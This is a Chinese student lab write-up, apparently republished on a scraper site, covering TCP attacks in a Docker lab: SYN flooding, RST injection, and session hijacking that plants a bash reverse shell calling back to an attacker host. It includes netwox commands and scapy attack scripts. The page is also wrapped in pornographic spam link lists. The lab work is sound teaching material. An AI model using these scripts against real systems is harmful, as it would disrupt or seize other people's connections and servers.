日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【HUST】网安|计算机网络安全实验|实验一 TCP协议漏洞及利用

發布時間:2025/5/22 编程问答 37 如意码农
生活随笔 收集整理的這篇文章主要介紹了 【HUST】网安|计算机网络安全实验|实验一 TCP协议漏洞及利用 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

寫在最前:
實驗指導書已經寫得非常好了,這是我個人的實驗記錄,并沒有認真整理和記錄容易出問題的地方。只是免得以后忘了什么是netwox還得翻學習通。

文章目錄

  • 涉及代碼的倉庫地址
  • docker使用
    • 建立實驗環境
    • docker常用指令
  • netwox工具使用
    • netwox常用指令的編號
  • 其他常用指令
  • 任務1 SYN-Flooding攻擊
    • 攻擊過程
      • 不啟用cookie
      • 打開cookie后
  • 任務 2 : 針對 telnet 或 ssh 連接的 TCP RST 攻擊
    • 攻擊過程
      • netwox:
      • scapy手動攻擊:
      • scapy自動攻擊:
  • 任務3,4常用指令說明
    • 打斷會話劫持
    • 反彈shell
  • 任務 3,4 : 使用 TCP 會話劫持注入普通命令、創建反向 shell
    • 攻擊過程
      • 注入普通命令"ls\r\n"
        • netwox:
        • scapy:
      • 反向shell
        • netwox:
        • scapy:

涉及代碼的倉庫地址

HUST計算機網絡安全實驗_Gitee
Github

docker使用

建立實驗環境

普通用戶: seed 密碼:dees
超級用戶:root 密碼:seedubuntu

Network(bridge):172.17.0.0/16:

server是已經創建好的,如果沒有,就按照創建User的方式創建。

創建user:

sudo docker run -it --name=user --hostname=user --privileged "seedubuntu" /bin/bash

我的ip:

Attacker:172.17.0.1 # 也就是虛擬機seed@VM
server:172.17.0.4
user:172.17.0.2

docker常用指令

打開或停止HostM:

sudo docker start/stop HostM

把HostM映射到bash中:

sudo docker exec -it HostM /bin/bash

查看當前docker有哪些:

sudo docker ps -a

關閉防火墻:

sudo iptables -F

netwox工具使用

Netwox是一款非常強大和易用的開源工
具包,可以創造任意的TCP/UDP/IP數據
報文。Netwox工具包中包含了超過200
個不同功能的網絡報文生成工具,每個工具
都擁有一個特定的編號。

指令格式:

netwox number 參數

具體命令可查:

netwox number --help

netwox常用指令的編號

運行netwox,輸入3,可以按照關鍵詞搜
素想要的工具。
? 76 Syn-flood工具
? 78 TCP RST攻擊
? 40 TCP會話劫持
? 0 退出netwox

其他常用指令

①telnet:

開啟telnet服務:

sudo /etc/init.d/openbsd-inetd restart # telnet服務啟動
sudo netstat -a | grep telnet # 查看telnet的運行狀態

連接服務器:

telnet 172.17.0.4

②cookie機制開關:

查看cookie是否開啟:

sysctl -a | grep cookie

關閉cookie機制:

sysctl net.ipv4.tcp_syncookies=0

打開cookie機制:

sysctl net.ipv4.tcp_syncookies=1

③wireshark:

新建終端,打開any網卡。

④查看當前的連接的狀態:

netstat -nat

任務1 SYN-Flooding攻擊

SYN flood 是DoS攻擊的一種。攻擊者使用假冒 IP 地址或故意不完成三次握手,利用 TCP 半開連接,預支資源。

本實驗目標是消耗服務器資源,服務器docker的ip是172.17.0.4。

三種實現形式:

①利用netwox工具

②利用scapy

③利用c代碼

攻擊過程

不啟用cookie

①netwox:攻擊機運行sudo netwox 76 172.17.0.4 -p 23

用戶機嘗試用telnet連接,連接超時,失敗。意思是攻擊成功。

根據@qq_51639539 同學的補充,即使沒攻擊也可能telnet失敗,這是因為沒有啟動 ftp 和 telnet 服務器。參照實驗指導書第三頁的啟動ftp和telnet服務器的兩條命令。
因此,請確保你在沒攻擊的時候能夠成功 telnet,再進行攻擊、查看攻擊效果

用戶機先建立連接,然后再打開攻擊。

新建用戶機終端運行netstat -nat查看連接狀態:

可以看到,攻擊后不影響原有的連接,但是無法新建telnet連接。

②scapy:修改給定腳本的目的地址,攻擊機運行sudo pip install scapy,然后攻擊機使用sudo python ./syn_flood.py運行攻擊腳本。

運行攻擊腳本、用戶機telnet嘗試連接如下圖(左)所示,wireshark截圖如下圖(右)所示。

可以看到,連接成功,攻擊效果不明顯。

觀察wireshark,這是因為python發包速度過慢,因此嘗試修改程序,將隨機函數刪掉,隨便寫個不隨機的遍歷函數,但是還是不行。
因此,我嘗試連續運行4個隨機的python程序,等待了一分鐘,再次建立連接,發現還是沒有攻擊成功。并且連接速度也沒有放慢太多。

此時我的虛擬機已經非???,故不再繼續嘗試。

運行的4個程序見下圖(左),攻擊的失敗結果見下圖(右)。

③c:修改腳本的目的地址,gcc編譯,攻擊機使用sudo ./syn_flood運行攻擊腳本。

用戶機嘗試用telnet連接,連接超時,失敗。意思是攻擊成功。

打開cookie后

以netwox攻擊為例。

下圖左側是攻擊機,正在運行netwox攻擊指令;右側,上方是服務機的cookie機制開啟情況,下方是攻擊后用戶機嘗試telnet連接服務機的情況。

可以看到,連接沒有失敗,并且不卡,說明cookie防御機制是有效的。

任務 2 : 針對 telnet 或 ssh 連接的 TCP RST 攻擊

攻擊過程

netwox:

(1)Wireshark截包截圖。netwox自動攻擊,所以該TCP報文信息用處不大。

(2)攻擊命令:sudo netwok 78 -d docker0。

(3)上圖是先建立連接再攻擊,攻擊成功,telnet連接異常中止,符合預期結果。

下圖是先攻擊再嘗試建立連接??梢钥吹?,先是連接時就失敗了,再是連接成功后登錄時被打斷了。

scapy手動攻擊:

(1)Wireshark截包截圖。

關鍵信息:ip:172.17.0.2→172.17.0.4,port:59252→23,Seq:470998582。

(2)攻擊腳本:

#!/usr/bin/python3
from scapy.all import * print("SENDING RESET PACKET.........")
ip = IP(src="172.17.0.2", dst="172.17.0.4")
tcp = TCP(sport=59252, dport=23,flags="R",seq=470998582)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)

攻擊命令:sudo python reset_manual.py

(3)觀察和解釋:成功,符合預期。如下圖,圖中第二個t對應攻擊的tcp報文。當再輸入一個t時,顯示連接已經中止。

而且,使用wireshark抓取報文,可以看到我們偽造的RST報文成功發出、并阻礙了通信。

scapy自動攻擊:

(1)Wireshark截包截圖。

關鍵信息:ip:172.17.0.2→172.17.0.4,port:59296→23,Seq:107996481。

(2)攻擊命令見下圖左,攻擊腳本見下圖右。

其中攻擊腳本添加了一行判斷當前截獲的報文是否是RST報文,如果是則返回,以免截取到自己偽造的報文。

(3)觀察和解釋:

攻擊成功,攻擊結果如下圖所示。沒有阻斷telnet與服務器建立連接,但是打斷了登錄過程。

這和netwox運行時的部分情況也是一致的,由于建立連接的速度太快,python程序截獲到建立連接的TCP報文、并發送偽造的RST報文時,連接已經建立完畢,SEQ和偽造的RST報文對不上。所以是在登錄過程中被打斷,符合預期。

對應的RST報文在wireshark中截圖如下。

任務3,4常用指令說明

打斷會話劫持

會話劫持之后客戶端可能無響應,此時最好用任務2的RST打斷telnet會話,這樣就不用新建客戶端bash。

打斷方式:

sudo netwox 78 -d docker0

反彈shell

客戶端:nc -lvp 4567

服務端:

/bin/bash -i >/dev/tcp/172.17.0.1/4567 # 默認描述符1是標準輸出,意思是把當前的bash的輸出全部重定向到172.17.0.1:4567中

除了標準輸出,還可以把標準輸入(0)定向過來、錯誤輸出(2)定向過去。總得來說,指令如下:

/bin/bash -i >/dev/tcp/172.17.0.1/4567 2>&1 0<&1

任務 3,4 : 使用 TCP 會話劫持注入普通命令、創建反向 shell

攻擊過程

注:我認為 hijacking_auto.py 是 hijacking_manual.py 的拓展,而且netwox的過程和手動攻擊基本一致,沒有必要重復展示手動攻擊的效果,因此實施scapy攻擊時只描述自動攻擊及其腳本。

注入普通命令"ls\r\n"

netwox:

(1)Wireshark截包截圖:

下圖是最后一個Telnet報文。

關鍵信息:ip:172.17.0.4→172.17.0.2,port:59366→23,Next SEQ:863211564,ACK:430198591。

(2)攻擊命令:sudo netwox 40 -l 172.17.0.2 -m 172.17.0.4 -p 23 -o 59366 --tcp-seqnum 430198591 --tcp-acknum 863211564 --tcp-data "6c730d00" --tcp-ack。

注入的內容是"ls\r\n"。

(3)觀察和解釋:攻擊成功。

下圖是服務端返回的ls結果,顯示了服務器當前目錄下的文件和文件夾。

不過可惜的是,user用戶機對服務器的會話被干擾了,不能繼續會話,如下圖所示。

這是因為seq和ack順序關系被破壞。

我認為該工具應該可以、并且需要達到更好的效果:比如邊接收用戶機發來的訊息,邊允許攻擊機持續向服務器發送指令,這只需要設置兩個變量暫存seq和ack即可做到。

scapy:

(1)Wireshark截包截圖:

攻擊的是下面這張圖上的TCP報文,由于采取自動攻擊的方式,所以seq和ack的具體數值對程序編寫來說,并不重要。

(2)攻擊腳本:

#!/usr/bin/python3
from scapy.all import * SRC = "172.17.0.2"
DST = "172.17.0.4"
PORT = 23 def spoof(pkt):
old_ip = pkt[IP]
old_tcp = pkt[TCP]
if(old_tcp.flags!="A"):
return #############################################
ip = IP( src = old_ip.src,
dst = old_ip.dst
)
tcp = TCP( sport = old_tcp.sport,
dport = old_tcp.dport,
seq = old_tcp.seq,
ack = old_tcp.ack,
flags = "PA"
)
data = "ls\r\n"
############################################# pkt = ip/tcp/data
send(pkt,verbose=0)
ls(pkt)
#quit() f = 'tcp and src host {} and dst host {} and dst port {}'.format(SRC, DST, PORT)
sniff(filter=f, prn=spoof)

出于謹慎,我將quit()注釋掉,并且只抓flags為A的報文,將自己偽造的報文的flags改成PA。

一方面是防止抓到自己偽造的報文造成不必要的循環;

另一方面是通過觀察,seq和ack符合需要的目標報文的flags往往是A,telnet報文的flags是PA,并且,不能斷定兩臺主機之間只有telnet通信有flags為A的報文,因此不妨將quit()注釋掉,多針對幾個ACK包。

(3)觀察和解釋:

用戶機運行telnet連接服務機并登錄,攻擊機運行python腳本,然后用戶機輸入一個回車,用于觸發腳本。

注意:用于觸發腳本的符號是回車,空格時服務器沒有正常執行ls指令,具體原因不明。后來做反向shell的時候,我使用空格觸發,卻成功了。

在wireshark中抓包可以看到我們偽造的報文,如下圖所示。

并且,可以進一步看到服務器運行ls時顯示的結果,如下圖所示。

反向shell

netwox:

(1)Wireshark截包截圖:

(2)攻擊命令:

先在攻擊機上運行nc -lvp 4567,對4567端口進行監聽,等待服務器主動反向shell。

然后用戶機和服務器建立telnet連接后,攻擊機運行如下指令:

sudo netwox 40 -l 172.17.0.2 -m 172.17.0.4 -p 23 -o 59418 --tcp-seqnum 656808919 --tcp-acknum 85195549 --tcp-data "2f62696e2f62617368202d69203e2f6465762f7463702f3137322e31372e302e312f3435363720323e263120303c26310d00" --tcp-ack

這條攻擊指令是利用TCP會話劫持運行/bin/bash -i >/dev/tcp/172.17.0.1/4567 2>&1 0<&1并回車。

運行的這條指令是把當前的bash的標準輸出、錯誤輸出全部重定向到172.17.0.1:4567中去,并把172.17.0.1:4567的輸入重定向成為當前bash的標準輸入。

(3)觀察和解釋:

下圖上方是攻擊機成功獲得服務器shell的截圖,下方是服務器響應"/bin/bash -i >/dev/tcp/172.17.0.1/4567 2>&1 0<&1"語句的wireshark抓包結果。

可以看到,攻擊機成功地能夠顯示標準輸出、錯誤輸出,并且還能將自己的輸入運行在服務機運行,也就是獲得了服務器的bash。

scapy:

(1)Wireshark截包截圖:

攻擊的是下面這張圖上的TCP報文,由于采取自動攻擊的方式,所以seq和ack的具體數值對程序編寫來說,并不重要。

(2)攻擊腳本:

#!/usr/bin/python3
from scapy.all import * SRC = "172.17.0.2"
DST = "172.17.0.4"
PORT = 23 def spoof(pkt):
old_ip = pkt[IP]
old_tcp = pkt[TCP]
if(old_tcp.flags!="A"):
return #############################################
ip = IP( src = old_ip.src,
dst = old_ip.dst
)
tcp = TCP( sport = old_tcp.sport,
dport = old_tcp.dport,
seq = old_tcp.seq,
ack = old_tcp.ack,
flags = "PA"
)
data = "/bin/bash -i >/dev/tcp/172.17.0.1/4567 2>&1 0<&1\r\n"
############################################# pkt = ip/tcp/data
send(pkt,verbose=0)
ls(pkt)
#quit() f = 'tcp and src host {} and dst host {} and dst port {}'.format(SRC, DST, PORT)
sniff(filter=f, prn=spoof)

(3)觀察和解釋:

運行腳本后,在用戶機上輸入一個空格,然后腳本會監聽到這個輸入,并使用該序列號和ACK號偽造報文。

下圖上方為攻擊機運行腳本的截圖,下方為攻擊機開啟監聽后獲得服務器的shell的截圖。

偽造的報文成功發送,在wireshark中的抓包顯示如下圖??梢钥吹?,發送了Data為"/bin/bash -i >/dev/tcp/172.17.0.1/4567 2>&1 0<&1\r\n"的報文。

總結

以上是生活随笔為你收集整理的【HUST】网安|计算机网络安全实验|实验一 TCP协议漏洞及利用的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 国产乱码一区二区三区播放 | 亚洲男人在线天堂 | 日韩在线观看视频免费 | 久久久久久中文 | 免费看成人aa片无码视频羞羞网 | 久久综合色视频 | 熟妇五十路六十路息与子 | 97久久精品人人澡人人爽 | 日日日人人人 | 日韩大片免费在线观看 | 又大又粗又爽18禁免费看 | 欧美日韩一二三四区 | 黑森林av | 久久伊人在 | 男女激情视频网站 | 麻豆国产视频 | 美女让男生桶 | 91亚洲精品国偷拍 | 少妇视频网 | 国产在线视频卡一卡二 | 日本国产一级片 | 高h喷水荡肉少妇爽多p视频 | 黑人操少妇 | 台湾佬成人中文网222vvv | 久草视频在线播放 | 91丝袜呻吟高潮美腿白嫩 | 国产午夜无码精品免费看奶水 | 国产精品久久一区二区三区动 | 双性人妖互交localhost | 欧美专区第一页 | 插我一区二区在线观看 | 体内精69xxxxx| 中文字幕在线日本 | 欧美激情视频二区 | 亚洲情人网 | 第一页国产 | av毛片在线看 | 中文字幕一区av | 97人妻精品一区二区三区免 | 色欲无码人妻久久精品 | 国产精品亚洲AV色欲三区不卡 | 一区二区在线免费看 | 一区亚洲 | 成人欧美一级特黄 | 久久久久久久久电影 | 黄色网免费看 | 奇米影视999 | 精品国产一区二区三区四 | 激情久久综合 | va婷婷 | 午夜视频在线观看一区二区 | 无码 人妻 在线 视频 | 美女午夜影院 | 久久精品免费网站 | 天天射av| 日韩免费在线视频 | 91久久精品在线 | 无码一区二区三区 | 黄视频网站免费看 | 打美女白嫩屁屁网站 | 午夜色婷婷| 成人免费淫片aa视频免费 | 亚洲欧美在线视频免费 | 精品国产一区二区在线观看 | 欧美精品在线一区二区三区 | 穿扒开跪着折磨屁股视频 | 五月婷婷丁香 | 亚洲国产成人精品久久久 | 在线免费中文字幕 | 国产亚洲欧美一区二区 | 黄瓜视频污在线观看 | 国产精品色呦呦 | 伊人网免费视频 | 综合狠狠 | 草色噜噜噜av在线观看香蕉 | 欧美色乱| 日本在线视频免费观看 | 国产精品国产三级国产aⅴ浪潮 | 亚洲激情视频小说 | 久久无码视频一区 | 日韩在线视频在线观看 | 精品在线观看免费 | 国产色播| 日韩精品视频播放 | 日韩精品视频免费看 | 人妻少妇精品无码专区二区 | 香蕉久久一区二区三区 | 少妇精品高潮欲妇又嫩中文字幕 | 精品999久久久 | 国产精品制服丝袜 | 永久免费看片在线观看 | 天天干一干 | 日韩av不卡一区 | 蜜臀aⅴ国产精品久久久国产老师 | 处女朱莉 | 亚洲逼| 亚洲综合色自拍一区 | 播金莲一级淫片aaaaaaa | 日韩在线一区二区三区四区 |